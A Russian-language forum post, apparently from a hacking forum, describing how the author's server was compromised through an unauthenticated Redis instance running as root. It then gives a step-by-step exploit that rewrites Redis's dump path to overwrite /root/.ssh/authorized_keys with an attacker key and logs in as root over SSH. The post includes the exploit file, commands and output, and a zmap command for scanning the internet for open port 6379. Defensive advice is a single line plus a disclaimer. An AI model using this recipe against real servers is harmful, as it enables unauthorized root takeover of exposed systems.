[High] Redis удалённое выполнение команд

Discussion in 'Статьи' started by banned, 27 Jan 2016.

  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    В начале ноября 2015 я не смог зайти по ключу в контейнер на один из своих серверов. Опачки, взломали?
    Ну что же, ломимся на главный сервер и оттуда в контейнер. Проверяю файл /root/.ssh/authorized_hosts и вижу ужас!
    Мой ключик исчез и вместо этого содержимое файла стало примерно таким:

    PHP:
    REDIS0006�crackitA�
    ssh
    -rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4crack@redis.io
    ���rD   �
    А кто устанавливает редис от рута? Конечно же я!

    Логи сервера мне ничего не говорили о взломе, поэтому оставалось одно, гуглить адрес [email protected]. И оп, как раз 2 дня назад разработчик redis написал новость об этой уязвимости-фиче.
    Я не буду писать все подробности, их можно посмотреть у источника http://antirez.com/news/96,я лишь расскажу как это можно(но не нужно!!!) эксплуатировать.

    Представим, я купил сервер для теста этой баги и установил на него redis от рута. Допустим, IP моего сервера 192.168.20.20.

    Попробуем подключиться удаленно к редису:
    PHP:
    $>> redis-cli -h 192.168.2020
    192.168.2020
    :6379
    О, нас встречают. Попробуем выполнить команду

    PHP:
    192.168.2020:6379config set dir /root/.ssh
    OK
    (0.68s)
    Ух ты, мы смогли поменять папку для хранения базы редиса в /root/ директорию!
    Давайте сделаем ключик у себя на машине

    PHP:
    $>> ssh-keygen -t rsa -"[email protected]"
    Generating public/private rsa key pair.
    Enter file in which to save the key (/home/forum.xeksec.com/.ssh/id_rsa): ./id_rsa
    Enter passphrase 
    (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in ./id_rsa.
    Your public key has been saved in ./id_rsa.pub.
    The key fingerprint is:
    f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io
    А теперь создадим наш небольшой exploit.

    PHP:
    $> cat crack
    config set dir 
    /root/.ssh
    config set dbfilename authorized_keys
    flushall
    set c 
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]\n\n\n\n"
    save

    Как вы понимаете, внутри файла находится наш публичный ключ который мы сгенерировали минуту назад (лежит в /home/forum.xeksec.com/.ssh/id_rsa.pub)

    Выполним следующую команду:

    PHP:
    $>> redis-cli -h 192.168.20.20 crack
    OK
    OK
    OK
    OK
    OK
    Всё замечательно! Мы смогли записать наш ключ в authorized_hosts пользователя root на уязвимом сервере.
    Пробуем подключиться снашим ключем:

    PHP:
    $>> ssh -/home/forum.xeksec.com/.ssh/id_rsa -oStrictHostKeyChecking=no root@192.168.20.20
    Last login
    Fri Jan 22 10:52:22 2015 from 192.168.1.1
    root
    @xeksec2~>>
    Порутали собственный сервер! Чума!
    Всё дело в том, что нельзя оставлять открытым порт 6379 и нельзя использовать редис без логина пароля.


    Ради интереса я проверил интернет на открытый порт 6379 командой
    PHP:
    $>> zmap -p6379 -o omg.txt
    Открытых портов миллионы!

    Статья написана только для того, чтобы вы проверили не уязвим ли ваш сервер!
    Ни в коем случае нельзя использовать данную уязимость для неправомерных действий!!!